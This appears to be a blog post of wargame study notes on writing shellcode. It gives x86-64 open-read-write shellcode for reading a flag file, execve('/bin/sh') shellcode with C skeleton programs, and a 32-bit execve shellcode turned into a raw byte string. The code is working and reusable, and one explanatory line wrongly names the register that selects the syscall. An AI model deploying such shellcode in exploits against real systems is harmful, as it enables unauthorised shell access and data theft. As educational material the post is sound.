[Dreamhack] shellcode

653o·2025년 6월 18일

dreamhack

목록 보기
5/6

Shellcode is a piece of assembly code written for an exploit, usually for the purpose of acquiring a shell, hence the “shell” prefix.

Acquiring a shell is very important from a system hacking perspective, as we'll see in execve shellcode.

If a hacker can move a RIP into shellcode of their own creation, they can then cause any assembly code they want to execute.

Since assembler is almost a one-to-one correspondence to machine language, you can give the CPU virtually any command you want.

Because shellcode is composed of assemblers, it is written differently depending on the architecture and operating system you are attacking, and the purpose of the shellcode.

There are sites that collect and share commonly used shellcode by architecture.

However, because shared shellcode is written generically, it does not fully reflect the system environment, such as the state of memory when it is executed.

Therefore, the best shellcode is usually written by you, and in some cases, you may need to do so.
Be aware that there are services that share shellcode, but you should always be able to write your own for these situations.


orw shellcode

orw shellcode can
open file -> read -> print to display

below is C based code which can execute same as orw shellcode

	char buf[0x30];
    
  	int fd = open("/tmp/flag", RD_ONLY, NULL);
  	read(fd, buf, 0x30); 
  	write(1, buf, 0x30);

this orw shellcode is open, read and display the contents of file named of "/tmp/flag"

you hve to know below syscall to write orw shellcode

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
read0x00unsigned in fdchar *bufsize_t count
write0x01unsigned in fdconst char *bufsize_t count
open0x02const char *filenameint flagsumode_t mode

let's make C code into assembly code


1. int fd = open("/tmp/flag", RD_ONLY, NULL)

first of all you need to locate string "/tmp/flag"(0x67616c662f706d742f(format of "/tmp/flag" in little endian )) into memory

The stack can only be pushed in 8-byte increments so push 0x67 and push again 0x616c662f706d742f

after set $rsp to $rdi, so that $rdi point the pushed things

set $rsi = 0

//https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'.  */
#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */

when read file, it doesn't have mean of MODE, so $rdx=0
lastly, $rsi = 2, which means open in syscall

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

2. read(fd, buf, 0x30)

return value of syscall go to $rax
which means, value of fd opening /tmp/flag is in $rax
we have to set argc[0] to fd ,so substitute $rax for $rdi

$rsi = address of data read by file, size is 0x30.
-->substitude $rsi for $rsp-0x30

$rdx = lenth of data (0x30)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

3. write(1, buf, 0x30)

set $rdi = 0x1, because print gonna be stdout
reuse $rsi,$rdx from read()
set $rax = 1, for call write syscall

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30

To summarize,

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

AND this can be changed in skeleton code

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}

execve shellcode

shell mean user interface for instruct system.
so when you hacked something and get an shell(like bash or zsh or csh or ... etc), it means your success to system hacking(a.k.a pwnable)

execve shellcode is execute arbitrary file
if you using execve shellcode, you can get a shell working on the server

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
execve0x3bconst char *filenameconst char *const *argvconst char *const *envp

shellcode for execve("/bin/sh", null, null)

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

skeleton code

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(<user_id>) gid=1000(<group_id>) groups=1000(<group_name>)

making shellcode in bytes

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80
$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$
# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
profile
hehehe fk u

0개의 댓글